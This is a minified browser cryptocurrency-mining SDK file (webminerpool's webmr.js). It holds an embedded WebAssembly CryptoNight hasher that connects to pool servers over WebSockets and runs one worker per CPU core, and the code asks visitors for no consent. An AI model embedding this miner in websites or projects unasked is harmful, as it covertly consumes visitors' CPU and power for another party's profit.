webminerpool/SDK/miner_compressed/webmr.js

33 lines
208 KiB
JavaScript
Raw Normal View History

2019-02-26 16:24:24 +00:00
var server="wss://ws1.server:80/;wss://ws2.server:80/;wss://ws3.server:80/",job=null,workers=[],ws,receiveStack=[],sendStack=[],totalhashes=0,connected=0,reconnector=0,attempts=1,throttleMiner=0,handshake=null,wasmSupported=function(){try{if("object"===typeof WebAssembly&&"function"===typeof WebAssembly.instantiate){var c=new WebAssembly.Module(Uint8Array.of(0,97,115,109,1,0,0,0));if(c instanceof WebAssembly.Module)return new WebAssembly.Instance(c)instanceof WebAssembly.Instance}}catch(k){}return!1}();
function addWorkers(c){logicalProcessors=c;if(-1==c){try{logicalProcessors=window.navigator.hardwareConcurrency}catch(k){logicalProcessors=4}0<logicalProcessors&&40>logicalProcessors||(logicalProcessors=4)}for(;0<logicalProcessors--;)addWorker()}
var openWebSocket=function(){null!=ws&&ws.close();var c=server.split(";");ws=new WebSocket(c[Math.floor(Math.random()*c.length)]);ws.onmessage=on_servermsg;ws.onerror=function(c){2>connected&&(connected=2);job=null};ws.onclose=function(){2>connected&&(connected=2);job=null};ws.onopen=function(){ws.send(JSON.stringify(handshake));connected=attempts=1}};
2018-09-24 16:09:02 +00:00
reconnector=function(){3!==connected&&(null==ws||0!==ws.readyState&&1!==ws.readyState)&&(attempts++,openWebSocket());3!==connected&&setTimeout(reconnector,1E4*attempts)};
2019-02-26 16:24:24 +00:00
function startBroadcast(c){if("function"!==typeof BroadcastChannel)c();else{stopBroadcast();var k=new BroadcastChannel("channel"),f=Math.random(),p=[],q=0,C=!0;p.push(f);k.onmessage=function(c){-1===p.indexOf(c.data)&&p.push(c.data)};startBroadcast.bc=k;startBroadcast.id=setInterval(function(){k.postMessage(f);q++;0===q%2&&(p.sort(),p[0]===f&&C&&(c(),C=!1,f=0),p=[],p.push(f))},1E3)}}
function stopBroadcast(){"undefined"!==typeof startBroadcast.bc&&startBroadcast.bc.close();"undefined"!==typeof startBroadcast.id&&clearInterval(startBroadcast.id)}function startMiningWithId(c,k,f){k=void 0===k?-1:k;f=void 0===f?"":f;wasmSupported&&(stopMining(),connected=0,handshake={identifier:"handshake",loginid:c,userid:f,version:7},startBroadcast(function(){addWorkers(k);reconnector()}))}
function startMining(c,k,f,p,q){f=void 0===f?"":f;p=void 0===p?-1:p;q=void 0===q?"":q;wasmSupported&&(stopMining(),connected=0,handshake={identifier:"handshake",pool:c,login:k,password:f,userid:q,version:7},startBroadcast(function(){addWorkers(p);reconnector()}))}function stopMining(){connected=3;null!=ws&&ws.close();deleteAllWorkers();job=null;stopBroadcast()}
function addWorker(){var c=new Worker(URL.createObjectURL(new Blob(["("+function(){function c(b){return a.locateFile?a.locateFile(b,r):r+b}function f(b,a){b||v("Assertion failed: "+a)}function p(b){var e=a["_"+b];f(e,"Cannot call unknown function "+b+", make sure it is exported");return e}function q(b,a,d,n,c){c={string:function(b){var a=0;if(null!==b&&void 0!==b&&0!==b){var e=(b.length<<2)+1;a=Q(e);C(b,B,a,e)}return a},array:function(b){var a=Q(b.length);R.set(b,a);return a}};var e=p(b),g=[];b=0;
if(n)for(var l=0;l<n.length;l++){var f=c[d[l]];f?(0===b&&(b=fa()),g[l]=f(n[l])):g[l]=n[l]}d=e.apply(null,g);d=function(b){if("string"===a)if(b){var e=B;for(var d=b+void 0,n=b;e[n]&&!(n>=d);)++n;if(16<n-b&&e.subarray&&S)e=S.decode(e.subarray(b,n));else{for(d="";b<n;){var c=e[b++];if(c&128){var g=e[b++]&63;if(192==(c&224))d+=String.fromCharCode((c&31)<<6|g);else{var l=e[b++]&63;c=224==(c&240)?(c&15)<<12|g<<6|l:(c&7)<<18|g<<12|l<<6|e[b++]&63;65536>c?d+=String.fromCharCode(c):(c-=65536,d+=String.fromCharCode(55296|
c>>10,56320|c&1023))}}else d+=String.fromCharCode(c)}e=d}}else e="";else e="boolean"===a?!!b:b;return e}(d);0!==b&&ia(b);return d}function C(b,a,d,c){if(!(0<c))return 0;var e=d;c=d+c-1;for(var n=0;n<b.length;++n){var g=b.charCodeAt(n);if(55296<=g&&57343>=g){var f=b.charCodeAt(++n);g=65536+((g&1023)<<10)|f&1023}if(127>=g){if(d>=c)break;a[d++]=g}else{if(2047>=g){if(d+1>=c)break;a[d++]=192|g>>6}else{if(65535>=g){if(d+2>=c)break;a[d++]=224|g>>12}else{if(d+3>=c)break;a[d++]=240|g>>18;a[d++]=128|g>>12&
63}a[d++]=128|g>>6&63}a[d++]=128|g&63}}a[d]=0;return d-e}function G(b){for(;0<b.length;){var e=b.shift();if("function"==typeof e)e();else{var d=e.func;"number"===typeof d?void 0===e.arg?a.dynCall_v(d):a.dynCall_vi(d,e.arg):d(void 0===e.arg?null:e.arg)}}}function K(b){return String.prototype.startsWith?b.startsWith(L):0===b.indexOf(L)}function T(){try{if(a.wasmBinary)return new Uint8Array(a.wasmBinary);var b=w(t);if(b)return b;if(a.readBinary)return a.readBinary(t);throw"both async and sync fetching of the wasm failed";
}catch(e){v(e)}}function ja(){return a.wasmBinary||!D&&!x||"function"!==typeof fetch?new Promise(function(b,a){b(T())}):fetch(t,{credentials:"same-origin"}).then(function(b){if(!b.ok)throw"failed to load wasm binary file at '"+t+"'";return b.arrayBuffer()})["catch"](function(){return T()})}function ka(b){function e(b,e){a.asm=b.exports;y--;a.monitorRunDependencies&&a.monitorRunDependencies(y);if(0==y&&(null!==M&&(clearInterval(M),M=null),E)){var d=E;E=null;d()}}function d(b){e(b.instance)}function c(b){ja().then(function(b){return WebAssembly.instantiate(b,
l)}).then(b,function(b){z("failed to asynchronously prepare wasm: "+b);v(b)})}var l={env:b,global:{NaN:NaN,Infinity:Infinity},"global.Math":Math,asm2wasm:la};y++;a.monitorRunDependencies&&a.monitorRunDependencies(y);if(a.instantiateWasm)try{return a.instantiateWasm(l,e)}catch(J){return z("Module.instantiateWasm callback failed with error: "+J),!1}a.wasmBinary||"function"!==typeof WebAssembly.instantiateStreaming||K(t)||"function"!==typeof fetch?c(d):WebAssembly.instantiateStreaming(fetch(t,{credentials:"same-origin"}),
l).then(d,function(b){z("wasm streaming compile failed: "+b);z("falling back to ArrayBuffer instantiation");c(d)});return{}}function U(b){v("Cannot enlarge memory arrays to size "+b+" bytes. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+A+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}function V(b){for(var a=[],
d=0;d<b.length;d++){var c=b[d];255<c&&(ma&&f(!1,"Character code "+c+" ("+String.fromCharCode(c)+") at offset "+d+" not in 0x00-0xFF."),c&=255);a.push(String.fromCharCode(c))}return a.join("")}function w(b){if(K(b)){b=b.slice(L.length);if("boolean"===typeof F&&F){try{var a=Buffer.from(b,"base64")}catch(J){a=new Buffer(b,"base64")}var d=new Uint8Array(a.buffer,a.byteOffset,a.byteLength)}else try{var c=na(b),l=new Uint8Array(c.length);for(a=0;a<c.length;++a)l[a]=c.charCodeAt(a);d=l}catch(J){throw Error("Converting base64 string to bytes failed.");
}return d}}function H(b){this.name="ExitStatus";this.message="Program terminated with exit("+b+")";this.status=b}function N(b){function e(){if(!a.calledRun&&(a.calledRun=!0,!W)){X||(X=!0,G(oa));G(pa);if(a.onRuntimeInitialized)a.onRuntimeInitialized();if(a.postRun)for("function"==typeof a.postRun&&(a.postRun=[a.postRun]);a.postRun.length;)Y.unshift(a.postRun.shift());G(Y)}}if(!(0<y)){if(a.preRun)for("function"==typeof a.preRun&&(a.preRun=[a.preRun]);a.preRun.length;)Z.unshift(a.preRun.shift());G(Z);
0<y||a.calledRun||(a.setStatus?(a.setStatus("Running..."),setTimeout(function(){setTimeout(function(){a.setStatus("")},1);e()},1)):e())}}function v(b){if(a.onAbort)a.onAbort(b);void 0!==b?(aa(b),z(b),b=JSON.stringify(b)):b="";W=!0;throw"abort("+b+"). Build with -s ASSERTIONS=1 for more info.";}function ba(b){return parseInt(b.match(/[a-fA-F0-9]{2}/g).reverse().join(""),16)}var a="undefined"!==typeof a?a:{},h={},u;for(u in a)a.hasOwnProperty(u)&&(h[u]=a[u]);a.arguments=[];a.thisProgram="./this.program";
a.quit=function(b,a){throw a;};a.preRun=[];a.postRun=[];var D=!1,x=!1,F=!1,ca=!1;D="object"===typeof window;x="function"===typeof importScripts;F="object"===typeof process&&"function"===typeof require&&!D&&!x;ca=!D&&!F&&!x;var r="";if(F){r=__dirname+"/";var O,P;a.read=function(b,a){var e=w(b);e||(O||(O=require("fs")),P||(P=require("path")),b=P.normalize(b),e=O.readFileSync(b));return a?e:e.toString()};a.readBinary=function(b){b=a.read(b,!0);b.buffer||(b=new Uint8Array(b));f(b.buffer);return b};1<
process.argv.length&&(a.thisProgram=process.argv[1].replace(/\\/g,"/"));a.arguments=process.argv.slice(2);"undefined"!==typeof module&&(module.exports=a);process.on("uncaughtException",function(b){if(!(b instanceof H))throw b;});process.on("unhandledRejection",v);a.quit=function(b){process.exit(b)};a.inspect=function(){return"[Emscripten Module object]"}}else if(ca)"undefined"!=typeof read&&(a.read=function(b){var a=w(b);return a?V(a):read(b)}),a.readBinary=function(b){var a;if(a=w(b))return a;if("function"===
typeof readbuffer)return new Uint8Array(readbuffer(b));a=read(b,"binary");f("object"===typeof a);return a},"undefined"!=typeof scriptArgs?a.arguments=scriptArgs:"undefined"!=typeof arguments&&(a.arguments=arguments),"function"===typeof quit&&(a.quit=function(b){quit(b)});else if(D||x)x?r=self.location.href:document.currentScript&&(r=document.currentScript.src),r=0!==r.indexOf("blob:")?r.substr(0,r.lastIndexOf("/")+1):"",a.read=function(b){try{var a=new XMLHttpRequest;a.open("GET",b,!1);a.send(null);
return a.responseText}catch(d){if(b=w(b))return V(b);throw d;}},x&&(a.readBinary=function(b){try{var a=new XMLHttpRequest;a.open("GET",b,!1);a.responseType="arraybuffer";a.send(null);return new Uint8Array(a.response)}catch(d){if(b=w(b))return b;throw d;}}),a.readAsync=function(b,a,d){var e=new XMLHttpRequest;e.open("GET",b,!0);e.responseType="arraybuffer";e.onload=function(){if(200==e.status||0==e.status&&e.response)a(e.response);else{var c=w(b);c?a(c.buffer):d()}};e.onerror=d;e.send(null)},a.setWindowTitle=
function(b){document.title=b};var aa=a.print||("undefined"!==typeof console?console.log.bind(console):"undefined"!==typeof print?print:null),z=a.printErr||("undefined"!==typeof printErr?printErr:"undefined"!==typeof console&&console.warn.bind(console)||aa);for(u in h)h.hasOwnProperty(u)&&(a[u]=h[u]);h=void 0;var la={"f64-rem":function(b,a){return b%a},"debugger":function(){debugger}};"object"!==typeof WebAssembly&&z("no native wasm support detected");var W=!1,S="undefined"!==typeof TextDecoder?new TextDecoder("utf8"):
void 0;"undefined"!==typeof TextDecoder&&new TextDecoder("utf-16le");var R,B,I,m,A=a.TOTAL_MEMORY||67108864;5242880>A&&z("TOTAL_MEMORY should be larger than TOTAL_STACK, was "+A+"! (TOTAL_STACK=5242880)");if(a.buffer)h=a.buffer;else{if("object"===typeof WebAssembly&&"function"===typeof WebAssembly.Memory){var da=new WebAssembly.Memory({initial:A/65536,maximum:A/65536});h=da.buffer}else h=new ArrayBuffer(A);a.buffer=h}a.HEAP8=R=new Int8Array(h);a.HEAP16=I=new Int16Array(h);a.HEAP32=m=new Int32Array(h);
a.HEAPU8=B=new Uint8Array(h);a.HEAPU16=new Uint16Array(h);a.HEAPU32=new Uint32Array(h);a.HEAPF32=new Float32Array(h);a.HEAPF64=new Float64Array(h);m[3824]=5258432;var Z=[],oa=[],pa=[],Y=[],X=!1,y=0,M=null,E=null;a.preloadedImages={};a.preloadedAudios={};var L="data:application/octet-stream;base64,",t="data:application/octet-stream;base64,AGFzbQEAAAABlwEXYAN/f38AYAN/f38Bf2ABfwBgAn9/AX9gAAF/YAF/AX9gAn9/AGAGf39/f39/AGAEf39/fwBgBH9/f38Bf2ADf39+AGADf35/AGACf38BfmADfn9/AX9gAn5/AX9gBX9/f39/AGAGf3x/f39/AX9gAnx/AXxgAn9/AXxgBH9/f38BfGAFf39/f38BfGABfwF+YAJ8fAF8AqcBDwNlbnYBYgACA2VudgFjAAIDZW52AWQABQNlbnYBZQAFA2VudgFmAAUDZW52AWcABQNlbnYBaAABA2VudgFpAAQDZW52AWoAAwNlbnYMX190YWJsZV9iYXNlA38AA2VudgFhA38ABmdsb2JhbANOYU4DfAAGZ2xvYmFsCEluZmluaXR5A3wAA2VudgZtZW1vcnkCAYAIgAgDZW52BXRhYmxlAXABDAwDTk0DBQIBAAAPAQYFAAUDCg4CABELBAYCCQAIAREWFQoRAwAFAwYDBgAABwEFAQAWFBMSAQADBgEGAQUAAQAFAxAODQADAwMMBQUFAgkEBQYXBH8BIwELfAEjAgt8ASMDC38BQcD5AAsHEQQBawBTAWwAVQFtAFIBbgBUCRIBACMACwwiQD4iGUpEOzUZGRkKz6YITSQBAn8jByECIwdBEGokByACIAE2AgAgACACEEwhAyACJAcgAwvbAQEFfwJAAkAgAEHoAGoiAigCACIBBEAgACgCbCABTg0BCyAAEFAiA0EASA0AIAAoAgghAQJAAkAgAigCACICBEAgASAAQQRqIgQoAgAiBWsgAiAAKAJsayICSARADAIFIAAgBSACQX9qajYCZAsFIABBBGohBAwBCwwBCyABIQIgACABNgJkCyABBEAgAEHsAGoiACAAKAIAIAFBAWogBCgCACIAa2o2AgAFIAQoAgAhAAsgAyAAQX9qIgAtAABHBEAgACADOgAACwwBCyAAQQA2AmRBfyEDCyADC+INAQl/IABFBEAPC0GY6wAoAgAhBCAAQXhqIgMgAEF8aigCACICQXhxIgBqIQUgAkEBcQR/IAMFAn8gAygCACEBIAJBA3FFBEAPCyADIAFrIgMgBEkEQA8LIAAgAWohACADQZzrACgCAEYEQCADIAVBBGoiASgCACICQQNxQQNHDQEaQZDrACAANgIAIAEgAkF+cTYCACADIABBAXI2AgQgACADaiAANgIADwsgAUEDdiEEIAFBgAJJBEAgAygCCCIBIAMoAgwiAkYEQEGI6wBBiOsAKAIAQQEgBHRBf3NxNgIABSABIAI2AgwgAiABNgIICyADDAELIAMoAhghByADIAMoAgwiAUYEQAJAIANBEGoiAkEEaiIE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gIsIAAgAzYCMCAAIAM2AjQgACADNgI4IAAgAzYCPCAAQUBrIQAMAQsLA0AgACAFSARAIAAgAzYCACAAQQRqIQAMAQsLCwNAIAAgBEgEQCAAIAE6AAAgAEEBaiEADAELCyAEIAJrC6sdARV/IAAgAiAAKAIAcyIGNgIAIABBCGoiCigCACA
K(t)||(t=c(t));a.asm=function(b,a,d){a.memory=da;a.table=new WebAssembly.Table({initial:12,maximum:12,element:"anyfunc"});a.__memory_base=1024;a.__table_base=0;return ka(a)};var qa=(C("GMT",B,15440,4),15440),ma=!1,na="function"===typeof atob?atob:function(a){var b="",d=0;a=a.replace(/[^A-Za-z0-9\+\/=]/g,"");do{var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(d++));var l="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(d++));
var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(d++));var g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(d++));c=c<<2|l>>4;l=(l&15)<<4|f>>2;var h=(f&3)<<6|g;b+=String.fromCharCode(c);64!==f&&(b+=String.fromCharCode(l));64!==g&&(b+=String.fromCharCode(h))}while(d<a.length);return b};h=a.asm({},{c:v,b:function(b){a.___errno_location&&(m[a.___errno_location()>>2]=b);return b},j:function(a,c){return 42},i:function(){return A},
h:function(a,c,d){B.set(B.subarray(c,c+d),a)},g:function(a){U(a)},f:function(a){var b=Date.now();m[a>>2]=b/1E3|0;I[a+4>>1]=b%1E3;I[a+6>>1]=0;return I[a+8>>1]=0},e:function(a){a=new Date(1E3*m[a>>2]);m[3848]=a.getUTCSeconds();m[3849]=a.getUTCMinutes();m[3850]=a.getUTCHours();m[3851]=a.getUTCDate();m[3852]=a.getUTCMonth();m[3853]=a.getUTCFullYear()-1900;m[3854]=a.getUTCDay();m[3857]=0;m[3856]=0;var b=Date.UTC(a.getUTCFullYear(),0,1,0,0,0,0);a=(a.getTime()-b)/864E5|0;m[3855]=a;m[3858]=qa;return 15392},
d:U,a:15296},h);a.asm=h;a._hash_cn=function(){return a.asm.k.apply(null,arguments)};var Q=a.stackAlloc=function(){return a.asm.l.apply(null,arguments)},ia=a.stackRestore=function(){return a.asm.m.apply(null,arguments)},fa=a.stackSave=function(){return a.asm.n.apply(null,arguments)};a.asm=h;a.ccall=q;a.cwrap=function(a,c,d,f){d=d||[];var b=d.every(function(a){return"number"===a});return"string"!==c&&b&&!f?p(a):function(){return q(a,c,d,arguments,f)}};H.prototype=Error();H.prototype.constructor=H;E=
function e(){a.calledRun||N();a.calledRun||(E=e)};a.run=N;a.abort=v;if(a.preInit)for("function"==typeof a.preInit&&(a.preInit=[a.preInit]);0<a.preInit.length;)a.preInit.pop()();a.noExitRuntime=!0;N();var ea=a.cwrap("hash_cn","string",["string","number","number","number"]);onmessage=function(a){a=a.data;var c=a.job;a=a.throttle;var e=!1,f="",h=0,g=function(){if(null!==c){var a=ba(c.target),d=(Math.floor(4294967296*Math.random())+0).toString(16),g=8-d.toString().length+1;h=(Array(+(0<g&&g)).join("0")+
d).match(/[a-fA-F0-9]{2}/g).reverse().join("");d=c.blob.substring(0,78)+h+c.blob.substring(86,c.blob.length);try{if("cn"===c.algo)f=ea(d,0,c.variant,c.height);else if("cn-lite"===c.algo)f=ea(d,1,c.variant,c.height);else throw"algorithm not supported!";e=ba(f.substring(56,64))<a}catch(ha){console.log(ha)}}},k=function(){e?postMessage(JSON.stringify({identifier:"solved",job_id:c.job_id,nonce:h,result:f})):postMessage("nothing")};if(0===a)g(),k();else{var m=performance.now();g();g=performance.now()-
m;setTimeout(k,Math.round(a/(100-a+10)*g))}}}.toString()+")()"],{type:"text/javascript"})));workers.push(c);c.onmessage=on_workermsg;setTimeout(function(){informWorker(c)},2E3)}function removeWorker(){1>workers.length||workers.shift().terminate()}function deleteAllWorkers(){for(i=0;i<workers.length;i++)workers[i].terminate();workers=[]}function informWorker(c){on_workermsg({data:"wakeup",target:c})}
function on_servermsg(c){var k=JSON.parse(c.data);console.log(c.data);receiveStack.push(k);"job"==k.identifier&&(job=k)}function on_workermsg(c){var k=c.target;if(1!=connected)setTimeout(function(){informWorker(k)},2E3);else{if("nothing"!=c.data&&"wakeup"!=c.data){var f=JSON.parse(c.data);ws.send(c.data);sendStack.push(f)}null===job?setTimeout(function(){informWorker(k)},2E3):(k.postMessage({job:job,throttle:Math.max(0,Math.min(throttleMiner,100))}),"wakeup"!=c.data&&(totalhashes+=1))}};